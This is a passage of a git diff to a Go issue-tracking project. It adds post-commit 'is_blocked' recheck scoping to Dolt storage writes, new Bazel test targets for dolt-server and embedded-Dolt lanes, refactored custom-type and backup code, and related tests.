string, act clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() if _, err := issueops.CloseIssueInTx(ctx, tx, id, reason, actor, session); err != nil { return err } - return s.commitSQLTx(ctx, "commit close wisp", tx) + return s.commitSQLTxAndRecheck(ctx, "commit close wisp", tx) } // closeWispChecked closes a wisp with the is_blocked guard, mirroring closeWisp @@ -282,13 +288,15 @@ func (s *DoltStore) closeWispChecked(ctx context.Context, id string, actor strin clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() res, err := issueops.CloseIssueCheckedInTx(ctx, tx, id, opts.Reason, actor, opts.Session, opts.Force, opts.ExpectedVersion) if err != nil { return storage.CloseIssueResult{}, err } - if err := s.commitSQLTx(ctx, "commit close wisp", tx); err != nil { + if err := s.commitSQLTxAndRecheck(ctx, "commit close wisp", tx); err != nil { return storage.CloseIssueResult{}, err } return storage.CloseIssueResult{Unchanged: res.AlreadyClosed, OpenChildren: res.OpenChildren}, nil @@ -304,6 +312,8 @@ func (s *DoltStore) deleteWisp(ctx context.Context, id string) error { clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() affectedIssues, affectedWisps, aerr := issueops.AffectedByDeletionInTx(ctx, tx, nil, []string{id}) if aerr != nil { @@ -347,8 +357,9 @@ func (s *DoltStore) deleteWisp(ctx context.Context, id string) error { if err := issueops.RecomputeIsBlockedInTx(ctx, tx, affectedIssues, affectedWisps); err != nil { return fmt.Errorf("recompute is_blocked after wisp delete for %s: %w", id, err) } + issueops.NoteDeleteBlockedRecheck(tx, []string{id}, "", affectedIssues, affectedWisps) - return s.commitSQLTx(ctx, "commit delete wisp", tx) + return s.commitSQLTxAndRecheck(ctx, "commit delete wisp", tx) } // deleteWispBatch permanently removes multiple wisps using one transaction per @@ -397,6 +408,8 @@ func (s *DoltStore) deleteWispBatchTx(ctx context.Context, ids []string) (int, e clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() affectedIssues, affectedWisps, aerr := issueops.AffectedByDeletionInTx(ctx, tx, nil, ids) if aerr != nil { @@ -448,8 +461,9 @@ func (s *DoltStore) deleteWispBatchTx(ctx context.Context, ids []string) (int, e if err := issueops.RecomputeIsBlockedInTx(ctx, tx, affectedIssues, affectedWisps); err != nil { return 0, fmt.Errorf("recompute is_blocked after batched wisp delete: %w", err) } + issueops.NoteDeleteBlockedRecheck(tx, ids, "", affectedIssues, affectedWisps) - if err := s.commitSQLTx(ctx, "commit batch wisp delete", tx); err != nil { + if err := s.commitSQLTxAndRecheck(ctx, "commit batch wisp delete", tx); err != nil { return 0, err } diff --git a/internal/storage/domain/BUILD.bazel b/internal/storage/domain/BUILD.bazel index aa6fa9091..c35a54ac3 100644 --- a/internal/storage/domain/BUILD.bazel +++ b/internal/storage/domain/BUILD.bazel @@ -1,4 +1,5 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") go_library( name = "domain", @@ -52,6 +53,30 @@ go_test( ], ) +# domain_test without -short, as pr.yml's "Test (storage domain + uow)" job runs +# its package (--config=ci passes -test.short). It needs no Dolt server; it is +# in the dolt-server lane so that lane alone runs every package of the job. +# GOMAXPROCS=4 is the job's runner shape. It still pins the local backend and +# fails closed like the lane's other targets: a Dolt-server test added to this +# package later must fail here, not skip into a cached green, while the job +# runs it. +# +# Tags: +# dolt-server: part of the dolt-server lane (--config=doltserver), which +# runs the whole job without -short; excluded from --config=prcore/ci. +sh_test( + name = "domain_noshort_test", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :domain_test)"], + data = [":domain_test"], + env = { + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + "GOMAXPROCS": "4", + }, + tags = ["dolt-server"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/storage/domain/db/BUILD.bazel b/internal/storage/domain/db/BUILD.bazel index fe51e3993..bfd6e68e0 100644 --- a/internal/storage/domain/db/BUILD.bazel +++ b/internal/storage/domain/db/BUILD.bazel @@ -140,13 +140,44 @@ sh_test( srcs = ["//tools/bazel:go_test_variant.sh"], args = ["$(rootpath :db_test)"], data = [":db_test"], - env = {"BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1"}, + # Pinned to the container backend (the docker lane is the A/B control); + # rule env beats --test_env, so =local on the command line cannot flip it. + env = { + "BEADS_TEST_DOLT_SERVER": "container", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + }, tags = [ "no-remote-exec", "requires-docker", ], ) +# db_test as pr.yml's "Test (storage domain + uow)" job runs it, on the +# dolt-server lane: TestDomainDB's server is a `dolt sql-server` the test +# process starts itself (the local backend of internal/testutil) instead of a +# testcontainers container. GOMAXPROCS=4 is the job's runner shape (the +# executor may have far more cores). db_docker_test is the A/B control. +# +# Tags: +# dolt-server: starts hermetic dolt sql-servers from the pinned dolt in the +# test wrapper's runfiles (BEADS_TEST_DOLT_SERVER=local); excluded from +# --config=prcore/ci, selected by --config=doltserver. Runs remotely: no +# docker, and a missing server fails (REQUIRE=1) instead of skipping, so +# a cached pass is as good as a fresh one. +sh_test( + name = "db_dolt_test", + size = "large", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :db_test)"], + data = [":db_test"], + env = { + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + "GOMAXPROCS": "4", + }, + tags = ["dolt-server"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/storage/domain/db/config.go b/internal/storage/domain/db/config.go index 8436a09d5..19115ba8e 100644 --- a/internal/storage/domain/db/config.go +++ b/internal/storage/domain/db/config.go @@ -126,22 +126,25 @@ func (r *configSQLRepositoryImpl) GetAllConfig(ctx context.Context) (map[string] return out, nil } +// GetCustomTypes resolves the workspace's custom issue types through +// issueops.ComposeCustomTypes, the same rule the embedded and server-mode +// stores use, so proxied `bd types` and proxied create/update validation +// accept exactly the same set. func (r *configSQLRepositoryImpl) GetCustomTypes(ctx context.Context) ([]string, error) { fromTable, err := r.readCustomTypesTable(ctx) if err != nil { return nil, err } - fromDB := fromTable - if len(fromDB) == 0 { - fromConfig, err := r.readCustomTypesConfig(ctx) + var configValue string + if len(fromTable) == 0 { + configValue, err = r.GetConfig(ctx, "types.custom") if err != nil { - return nil, err + return nil, fmt.Errorf("db: GetCustomTypes: %w", err) } - fromDB = fromConfig } - return unionWithYAMLCustomTypes(fromDB, config.GetCustomTypesFromYAML()), nil + return issueops.ComposeCustomTypes(fromTable, configValue, config.GetCustomTypesFromYAML()), nil } func (r *configSQLRepositoryImpl) readCustomTypesTable(ctx context.Context) ([]string, error) { @@ -169,39 +172,6 @@ func (r *configSQLRepositoryImpl) readCustomTypesTable(ctx context.Context) ([]s return out, nil } -func (r *configSQLRepositoryImpl) readCustomTypesConfig(ctx context.Context) ([]string, error) { - value, err := r.GetConfig(ctx, "types.custom") - if err != nil { - return nil, fmt.Errorf("db: GetCustomTypes: %w", err) - } - return issueops.ParseTypesConfigValue(value), nil -} - -func unionWithYAMLCustomTypes(dbTypes, yamlTypes []string) []string { - if len(dbTypes) == 0 && len(yamlTypes) == 0 { - return nil - } - seen := make(map[string]struct{}, len(dbTypes)+len(yamlTypes)) - out := make([]string, 0, len(dbTypes)+len(yamlTypes)) - for _, src := range [][]string{dbTypes, yamlTypes} { - for _, t := range src { - t = strings.TrimSpace(t) - if t == "" { - continue - } - if _, ok := seen[t]; ok { - continue - } - seen[t] = struct{}{} - out = append(out, t) - } - } - if len(out) == 0 { - return nil - } - return out -} - func (r *configSQLRepositoryImpl) GetAllowedPrefixes(ctx context.Context) (string, error) { value, err := r.GetConfig(ctx, "allowed_prefixes") if err != nil { diff --git a/internal/storage/domain/db/delete_repo_test.go b/internal/storage/domain/db/delete_repo_test.go index d81095731..d6857d38f 100644 --- a/internal/storage/domain/db/delete_repo_test.go +++ b/internal/storage/domain/db/delete_repo_test.go @@ -237,7 +237,7 @@ func (s *testSuite) issueAffectedByDeletionDependers() { } func (s *testSuite) issueRecomputeIsBlockedEmpty() { - s.Require().NoError(s.issueRepo().RecomputeIsBlocked(s.Ctx(), nil, nil)) + s.Require().NoError(s.issueRepo().RecomputeIsBlockedAfterDelete(s.Ctx(), nil, nil, nil)) } func (s *testSuite) issueRecomputeIsBlockedFlips() { @@ -247,7 +247,7 @@ func (s *testSuite) issueRecomputeIsBlockedFlips() { newDep("bd-del-rib-depender", "bd-del-rib-blocker", types.DepBlocks), "tester", domain.DepInsertOpts{})) - s.Require().NoError(s.issueRepo().RecomputeIsBlocked(s.Ctx(), + s.Require().NoError(s.issueRepo().RecomputeIsBlockedAfterDelete(s.Ctx(), nil, []string{"bd-del-rib-depender"}, nil)) var blocked int s.Require().NoError(s.Runner().QueryRowContext(s.Ctx(), @@ -257,7 +257,7 @@ func (s *testSuite) issueRecomputeIsBlockedFlips() { _, err := s.Runner().ExecContext(s.Ctx(), "UPDATE issues SET status = 'closed' WHERE id = ?", "bd-del-rib-blocker") s.Require().NoError(err) - s.Require().NoError(s.issueRepo().RecomputeIsBlocked(s.Ctx(), + s.Require().NoError(s.issueRepo().RecomputeIsBlockedAfterDelete(s.Ctx(), nil, []string{"bd-del-rib-depender"}, nil)) s.Require().NoError(s.Runner().QueryRowContext(s.Ctx(), "SELECT is_blocked FROM issues WHERE id = ?", "bd-del-rib-depender").Scan(&blocked)) diff --git a/internal/storage/domain/db/dependency.go b/internal/storage/domain/db/dependency.go index ced0d22bc..f6a213a65 100644 --- a/internal/storage/domain/db/dependency.go +++ b/internal/storage/domain/db/dependency.go @@ -414,6 +414,7 @@ func (r *dependencySQLRepositoryImpl) Delete(ctx context.Context, issueID, depen if err := issueops.RecomputeIsBlockedInTx(ctx, r.runner, affectedIssues, affectedWisps); err != nil { return domain.DepDeleteResult{}, fmt.Errorf("db: DependencySQLRepository.Delete: recompute is_blocked: %w", err) } + issueops.NoteDependencyRemovalBlockedRecheck(r.runner, issueID, dependsOnID, affectedIssues, affectedWisps) // Snapshot only after all derived blocked-state maintenance has completed. // Never gated on opts.EmitEvent — a structural removal is as real to a diff --git a/internal/storage/domain/db/issue.go b/internal/storage/domain/db/issue.go index c490a29b6..24f6e847d 100644 --- a/internal/storage/domain/db/issue.go +++ b/internal/storage/domain/db/issue.go @@ -329,6 +329,9 @@ func (r *issueSQLRepositoryImpl) Update(ctx context.Context, id string, updates if err := issueops.RecomputeIsBlockedInTx(ctx, r.runner, affectedIssues, affectedWisps); err != nil { return fmt.Errorf("db: Update %s: recompute is_blocked: %w", id, err) } + if !newActive { + issueops.NoteStatusChangeBlockedRecheck(r.runner, id, string(newStatus), affectedIssues, affectedWisps) + } } } // Snapshot only after all derived blocked-state maintenance has completed. @@ -1081,8 +1084,12 @@ func (r *issueSQLRepositoryImpl) AffectedByDeletion(ctx context.Context, issueID return issueops.AffectedByDeletionInTx(ctx, r.runner, issueIDs, wispIDs) } -func (r *issueSQLRepositoryImpl) RecomputeIsBlocked(ctx context.Context, issueIDs, wispIDs []string) error { - return issueops.RecomputeIsBlockedInTx(ctx, r.runner, issueIDs, wispIDs) +func (r *issueSQLRepositoryImpl) RecomputeIsBlockedAfterDelete(ctx context.Context, deletedIDs, issueIDs, wispIDs []string) error { + if err := issueops.RecomputeIsBlockedInTx(ctx, r.runner, issueIDs, wispIDs); err != nil { + return err + } + issueops.NoteDeleteBlockedRecheck(r.runner, deletedIDs, "", issueIDs, wispIDs) + return nil } func (r *issueSQLRepositoryImpl) AsOf(ctx context.Context, id, ref string) (*types.Issue, error) { diff --git a/internal/storage/domain/fs/BUILD.bazel b/internal/storage/domain/fs/BUILD.bazel index 5ce2de365..0ed0a9c9b 100644 --- a/internal/storage/domain/fs/BUILD.bazel +++ b/internal/storage/domain/fs/BUILD.bazel @@ -1,4 +1,5 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") go_library( name = "fs", @@ -40,6 +41,30 @@ go_test( ], ) +# fs_test without -short, as pr.yml's "Test (storage domain + uow)" job runs +# its package (--config=ci passes -test.short). It needs no Dolt server; it is +# in the dolt-server lane so that lane alone runs every package of the job. +# GOMAXPROCS=4 is the job's runner shape. It still pins the local backend and +# fails closed like the lane's other targets: a Dolt-server test added to this +# package later must fail here, not skip into a cached green, while the job +# runs it. +# +# Tags: +# dolt-server: part of the dolt-server lane (--config=doltserver), which +# runs the whole job without -short; excluded from --config=prcore/ci. +sh_test( + name = "fs_noshort_test", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :fs_test)"], + data = [":fs_test"], + env = { + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + "GOMAXPROCS": "4", + }, + tags = ["dolt-server"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/storage/domain/git/BUILD.bazel b/internal/storage/domain/git/BUILD.bazel index 32a3ada9b..4b802168a 100644 --- a/internal/storage/domain/git/BUILD.bazel +++ b/internal/storage/domain/git/BUILD.bazel @@ -1,4 +1,5 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") go_library( name = "git", @@ -27,6 +28,30 @@ go_test( ], ) +# git_test without -short, as pr.yml's "Test (storage domain + uow)" job runs +# its package (--config=ci passes -test.short). It needs no Dolt server; it is +# in the dolt-server lane so that lane alone runs every package of the job. +# GOMAXPROCS=4 is the job's runner shape. It still pins the local backend and +# fails closed like the lane's other targets: a Dolt-server test added to this +# package later must fail here, not skip into a cached green, while the job +# runs it. +# +# Tags: +# dolt-server: part of the dolt-server lane (--config=doltserver), which +# runs the whole job without -short; excluded from --config=prcore/ci. +sh_test( + name = "git_noshort_test", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :git_test)"], + data = [":git_test"], + env = { + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + "GOMAXPROCS": "4", + }, + tags = ["dolt-server"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/storage/domain/issue.go b/internal/storage/domain/issue.go index a8137338a..c73f2c4d2 100644 --- a/internal/storage/domain/issue.go +++ b/internal/storage/domain/issue.go @@ -89,7 +89,10 @@ type IssueSQLRepository interface { FindAllDependents(ctx context.Context, ids []string) ([]string, error) FindWispDependentsRecursive(ctx context.Context, ids []string) (map[string]bool, error) AffectedByDeletion(ctx context.Context, issueIDs, wispIDs []string) (affectedIssues, affectedWisps []string, err error) - RecomputeIsBlocked(ctx context.Context, issueIDs, wispIDs []string) error + // RecomputeIsBlockedAfterDelete recomputes the blocked state of the + // dependents a delete of deletedIDs affected, and records them for the + // post-commit recheck the unit of work runs (gastownhall/beads#6716). + RecomputeIsBlockedAfterDelete(ctx context.Context, deletedIDs, issueIDs, wispIDs []string) error Close(ctx context.Context, id string, params CloseRowParams, actor string, opts IssueTableOpts) (CloseRowResult, error) CloseChecked(ctx context.Context, id string, params CloseRowParams, actor string, force bool) (CloseRowResult, error) Reopen(ctx context.Context, id string, params ReopenRowParams, actor string, opts IssueTableOpts) (ReopenRowResult, error) diff --git a/internal/storage/domain/issue_delete.go b/internal/storage/domain/issue_delete.go index 442c9f181..d7727546a 100644 --- a/internal/storage/domain/issue_delete.go +++ b/internal/storage/domain/issue_delete.go @@ -211,7 +211,7 @@ func (u *issueUseCaseImpl) deleteMany(ctx context.Context, params DeleteIssuesPa result.ReferencesUpdated = refs } - if err := u.issueRepo.RecomputeIsBlocked(ctx, affectedIssues, affectedWisps); err != nil { + if err := u.issueRepo.RecomputeIsBlockedAfterDelete(ctx, allIDs, affectedIssues, affectedWisps); err != nil { return result, fmt.Errorf("delete: recompute is_blocked: %w", err) } diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index 70e52e4cf..90086664c 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -1,4 +1,5 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") go_library( name = "embeddeddolt", @@ -244,6 +245,95 @@ go_test( ], ) +# embeddeddolt_test as PR Risk's "Test (Embedded Dolt Storage N/5)" jobs run +# it: shard k runs .github/scripts/embedded-storage-test-shard.sh k 5 (every +# top-level test but TestConformance, assigned by the committed manifest) +# with BEADS_TEST_EMBEDDED_DOLT=1; the wrapper points +# BEADS_TEST_EMBEDDED_TEST_BINARY at this binary, which the concurrency test +# re-executes. shard_count must stay equal to the manifest's shard total. +# +# Tags: +# embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, +# selected by --config=embedded. +sh_test( + name = "embeddeddolt_embedded_test", + size = "large", + # The script gives the binary the job's -test.timeout=15m per shard; it + # fires (with a goroutine dump) well before Bazel's 1200s action limit + # (eternal under --config=embedded). The job itself also stops at 15m. + timeout = "eternal", + srcs = ["//tools/bazel:go_test_manifest_shard.sh"], + args = [ + "$(rootpath //:.github/scripts/embedded-storage-test-shard.sh)", + "BEADS_TEST_EMBEDDED_TEST_BINARY", + "$(rootpath :embeddeddolt_test)", + ], + data = [ + ":embeddeddolt_test", + ":go_srcs", + "//:.github/scripts/embedded-storage-test-shard.sh", + "//:.github/scripts/embedded-storage-test-shards.txt", + ], + env = {"BEADS_TEST_EMBEDDED_DOLT": "1"}, + shard_count = 5, + tags = ["embedded"], +) + +# PR Risk's "Test (Embedded Dolt Conformance - core)" job: conformance.RunAll +# except its Audit group, with the job's binary flags but -test.timeout. +# +# Tags: +# embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, +# selected by --config=embedded. +sh_test( + name = "embeddeddolt_conformance_core_test", + size = "large", + # Deviation from the job's -test.timeout=30m: Bazel ends the action at + # 1200s (eternal under --config=embedded), and rules_go's wrapper ignores + # that SIGTERM, so a hang would end as a bare TIMEOUT. 19m lets Go's own + # timeout fire first and dump every goroutine to test.log. + timeout = "eternal", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = [ + "$(rootpath :embeddeddolt_test)", + "-test.v", + "-test.count=1", + "-test.timeout=19m", + "-test.run=^TestConformance$$", + "-test.skip=^TestConformance$$/^Audit$$", + ], + data = [":embeddeddolt_test"], + env = {"BEADS_TEST_EMBEDDED_DOLT": "1"}, + tags = ["embedded"], +) + +# PR Risk's "Test (Embedded Dolt Conformance - audit)" job: the Audit group of +# conformance.RunAll alone, with the same -test.timeout deviation as core. +# +# Tags: +# embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, +# selected by --config=embedded. +sh_test( + name = "embeddeddolt_conformance_audit_test", + size = "large", + # Deviation from the job's -test.timeout=30m: Bazel ends the action at + # 1200s (eternal under --config=embedded), and rules_go's wrapper ignores + # that SIGTERM, so a hang would end as a bare TIMEOUT. 19m lets Go's own + # timeout fire first and dump every goroutine to test.log. + timeout = "eternal", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = [ + "$(rootpath :embeddeddolt_test)", + "-test.v", + "-test.count=1", + "-test.timeout=19m", + "-test.run=^TestConformance$$/^Audit$$", + ], + data = [":embeddeddolt_test"], + env = {"BEADS_TEST_EMBEDDED_DOLT": "1"}, + tags = ["embedded"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/storage/embeddeddolt/blocked_recheck_internal_test.go b/internal/storage/embeddeddolt/blocked_recheck_internal_test.go index d96b235d4..66cc7b806 100644 --- a/internal/storage/embeddeddolt/blocked_recheck_internal_test.go +++ b/internal/storage/embeddeddolt/blocked_recheck_internal_test.go @@ -14,6 +14,24 @@ import ( "github.com/steveyegge/beads/internal/types" ) +// embeddedIsBlocked reads the STORED is_blocked flag for id. +// +// It exists because GetIssue cannot answer this question: is_blocked is not in +// the hydrated column list (sqlbuild.IssueBaseColumns), so types.Issue.IsBlocked +// is always false on a hydrated issue and an assertion on it holds no matter +// what the flag says. The read runs with commit=false, so it takes nothing out +// of the recheck scope and triggers no recheck of its own. +func embeddedIsBlocked(t *testing.T, ctx context.Context, store *EmbeddedDoltStore, id string) bool { + t.Helper() + var blocked int + if err := store.withConn(ctx, false, func(tx *sql.Tx) error { + return tx.QueryRowContext(ctx, "SELECT is_blocked FROM issues WHERE id = ?", id).Scan(&blocked) + }); err != nil { + t.Fatalf("read is_blocked for %s: %v", id, err) + } + return blocked != 0 +} + // TestEmbeddedBlockedRecheckRecordsUnblockingWrites pins, on a real engine, // that an unblocking write running on the embedded store's own scoped // transaction records the dependents it recomputed for the post-commit @@ -92,17 +110,77 @@ func TestEmbeddedBlockedRecheckRecordsUnblockingWrites(t *testing.T) { return issueops.DeleteIssueInTx(ctx, tx, "rb-b", "") }), "delete of rb-b", "rb-b") - // Through the public surface the recheck runs after commit and the graph - // ends settled: both blockers gone, rb-c unblocked. - got, err := store.GetIssue(ctx, "rb-c") - if err != nil { - t.Fatalf("get rb-c: %v", err) - } - if got.IsBlocked { + // The graph ends settled: both blockers gone, rb-c unblocked. Each write + // above took its pending set out of the transaction, so what settled the + // flag here is the in-transaction recompute, not the post-commit recheck — + // that one is pinned by TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded. + if embeddedIsBlocked(t, ctx, store, "rb-c") { t.Fatal("rb-c is still blocked after its last blocker was deleted") } } +// TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded pins withConn's tail on +// this tier: the recheck must run for whatever the committed transaction +// recorded, with the test taking nothing out of that transaction first. The +// test above takes the pending set inside the body — which is what it is for, +// but it also means the store's tail always rechecks an empty set there, so +// nothing was measuring the tail itself. +// +// Embedded transactions serialize (see recheckBlockedAfterCommit), so the +// snapshot skew of gastownhall/beads#6716 cannot be staged here. The +// transaction instead leaves the residue that skew leaves behind — a dependent +// still flagged blocked once every blocker is closed — by closing the second +// blocker with a raw status write, which no recompute observes. That stands in +// for the concurrent writer this tier cannot host, and from there only a +// post-commit recheck of the recorded dependent can settle the flag. +func TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded(t *testing.T) { + ctx := context.Background() + store, err := Open(ctx, filepath.Join(t.TempDir(), ".beads"), "recheckafter", "main") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = store.Close() }) + if err := store.SetConfig(ctx, "issue_prefix", "rb"); err != nil { + t.Fatal(err) + } + for _, id := range []string{"rb-a", "rb-b", "rb-c"} { + iss := &types.Issue{ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := store.CreateIssue(ctx, iss, "tester"); err != nil { + t.Fatalf("create %s: %v", id, err) + } + } + for _, blocker := range []string{"rb-a", "rb-b"} { + if err := store.AddDependency(ctx, &types.Dependency{IssueID: "rb-c", DependsOnID: blocker, Type: types.DepBlocks}, "tester"); err != nil { + t.Fatalf("add dependency rb-c -> %s: %v", blocker, err) + } + } + + var blockedInTx int + if err := store.withConn(ctx, true, func(tx *sql.Tx) error { + // Records rb-c and recomputes it: rb-b is open here, so rb-c stays + // blocked. + if _, err := issueops.CloseIssueInTx(ctx, tx, "rb-a", "done", "tester", ""); err != nil { + return err + } + // The blocker whose close no recompute sees. + if _, err := tx.ExecContext(ctx, "UPDATE issues SET status = 'closed' WHERE id = ?", "rb-b"); err != nil { + return err + } + // The pending set is deliberately left in the transaction for the + // store's own tail to take. + return tx.QueryRowContext(ctx, "SELECT is_blocked FROM issues WHERE id = ?", "rb-c").Scan(&blockedInTx) + }); err != nil { + t.Fatalf("close rb-a: %v", err) + } + if blockedInTx == 0 { + t.Fatal("rb-c was already unblocked inside the transaction, so this test measures nothing about the post-commit recheck") + } + + if embeddedIsBlocked(t, ctx, store, "rb-c") { + t.Fatal("rb-c is still blocked after a committed write recorded it: withConn's tail did not recheck what the transaction recorded") + } +} + // TestEmbeddedBlockedRecheckFailureKeepsTheWrite pins what a *failing* recheck // does at the store seam, which is the half of the contract the wrapper's unit // test cannot reach: the write it follows has already committed, so the store diff --git a/internal/storage/embeddeddolt/concurrency_test.go b/internal/storage/embeddeddolt/concurrency_test.go index 4c8855ad6..1556ad9ab 100644 --- a/internal/storage/embeddeddolt/concurrency_test.go +++ b/internal/storage/embeddeddolt/concurrency_test.go @@ -34,8 +34,6 @@ func TestConcurrencyMultiProcess(t *testing.T) { ctx, cancel := context.WithTimeout(t.Context(), timeout) defer cancel() - modRoot := mustFindModuleRoot(t) - // All subprocesses share one directory to stress filesystem locking. sharedDir := filepath.Join(t.TempDir(), "embeddeddolt-test") if err := os.MkdirAll(sharedDir, 0o755); err != nil { @@ -81,7 +79,9 @@ func TestConcurrencyMultiProcess(t *testing.T) { "-o", testBin, "./internal/storage/embeddeddolt/", ) - build.Dir = modRoot + // Only this build needs the module root: a pre-built binary (PR + // Risk's, or Bazel's, whose runfiles hold no go.mod) runs anywhere. + build.Dir = mustFindModuleRoot(t) build.Env = append(os.Environ(), "CGO_ENABLED=1") if out, err := build.CombinedOutput(); err != nil { t.Fatalf("build test binary: %v\n%s", err, string(out)) diff --git a/internal/storage/embeddeddolt/version_control.go b/internal/storage/embeddeddolt/version_control.go index 7a5b4d95a..2e08e5f3c 100644 --- a/internal/storage/embeddeddolt/version_control.go +++ b/internal/storage/embeddeddolt/version_control.go @@ -754,39 +754,8 @@ func (s *EmbeddedDoltStore) BackupRemove(ctx context.Context, name string) error // the database to it. The dir must exist locally. This preserves full Dolt // commit history. func (s *EmbeddedDoltStore) BackupDatabase(ctx context.Context, dir string) error { - info, err := os.Stat(dir) - if err != nil { - return fmt.Errorf("backup destination does not exist: %w", err) - } - if !info.IsDir() { - return fmt.Errorf("backup destination is not a directory: %s", dir) - } - - backupURL, err := versioncontrolops.DirToFileURL(dir) - if err != nil { - return err - } - backupName := "backup_export" - return s.withMutatingDBConn(ctx, func(db versioncontrolops.DBConn) error { - // Register as a backup remote (idempotent — remove first if exists). - _ = versioncontrolops.BackupRemove(ctx, db, backupName) - if err := versioncontrolops.BackupAdd(ctx, db, backupName, backupURL); err != nil { - // Another backup (e.g. "default" registered by `bd backup init`) may - // already point to this URL. In that case, sync using the existing - // remote name rather than failing. - if conflict := versioncontrolops.ExtractAddressConflictName(err); conflict != "" { - if syncErr := versioncontrolops.BackupSync(ctx, db, conflict); syncErr != nil { - return fmt.Errorf("sync to backup: %w", syncErr) - } - return nil - } - return fmt.Errorf("register backup remote: %w", err) - } - if err := versioncontrolops.BackupSync(ctx, db, backupName); err != nil { - return fmt.Errorf("sync to backup: %w", err) - } - return nil + return versioncontrolops.BackupToDir(ctx, db, db, dir) }) } diff --git a/internal/storage/issueops/BUILD.bazel b/internal/storage/issueops/BUILD.bazel index 32fb4d17e..eddfe312a 100644 --- a/internal/storage/issueops/BUILD.bazel +++ b/internal/storage/issueops/BUILD.bazel @@ -11,6 +11,7 @@ go_library( "blocked_consistency.go", "blocked_merge.go", "blocked_recheck.go", + "blocked_recheck_report.go", "blocked_state.go", "blocking_annotation.go", "bootstrap.go", @@ -112,6 +113,8 @@ go_library( "@com_github_dolthub_go_mysql_server//sql", "@com_github_go_sql_driver_mysql//:mysql", "@com_github_gowebpki_jcs//:jcs", + "@io_opentelemetry_go_otel//:otel", + "@io_opentelemetry_go_otel_metric//:metric", ], ) @@ -132,6 +135,7 @@ go_test( "create_only_errors_test.go", "create_only_guard_test.go", "create_test.go", + "custom_types_parity_test.go", "cycle_report_test.go", "cycles_test.go", "delete_cascade_tables_test.go", diff --git a/internal/storage/issueops/blocked_recheck.go b/internal/storage/issueops/blocked_recheck.go index 7204704bd..98dcd1ba6 100644 --- a/internal/storage/issueops/blocked_recheck.go +++ b/internal/storage/issueops/blocked_recheck.go @@ -28,41 +28,37 @@ import ( // flag has to move — removing the one closed child of an any-children gate // can block its waiter, and the recheck settles that too. Writes that add a // blocker (a reopen, a dependency add, a parent-child add) recompute the same -// way and are not recorded here; a racing pair where the last committer adds -// a blocker can leave a dependent flagged ready while blocked. +// way and are not recorded here, and the residue they leave runs in both +// directions. A racing pair whose last committer adds a plain blocks edge can +// leave a dependent flagged ready while blocked. A parent-child add is not +// monotonic, though — an already-closed child can satisfy an any-children +// waits-for gate (see addDependencyInTx) — so an add of a still-open child +// racing the close of that child leaves the waiter flagged blocked while +// ready and hidden from `bd ready`: the #6716 shape itself, reached through +// `bd dep add` or `bd create --parent`. // // # What is scoped, and what is not // -// Recording only reaches a recheck through a transaction a store scoped (see -// ScopeBlockedRecheckTransaction), and exactly two write runners scope one: -// DoltStore's commitWriteTx and EmbeddedDoltStore's commitConn. A write that -// reaches this package on any other transaction records nothing and behaves -// exactly as it did before the recheck existed — the skew above survives on -// it. Those routes are known and deliberately out of scope here: +// Recording only reaches a recheck through a transaction a write runner +// scoped (see ScopeBlockedRecheckTransaction). The runners that scope one, +// and settle what it recorded once it has committed, are: // -// - the uow/domain-db routing system (internal/storage/uow, with the -// in-transaction recomputes at internal/storage/domain/db/issue.go and -// dependency.go), which serves `bd batch` when proxied and every write a -// uow provider serves. Scoping it needs more than these two lines: -// 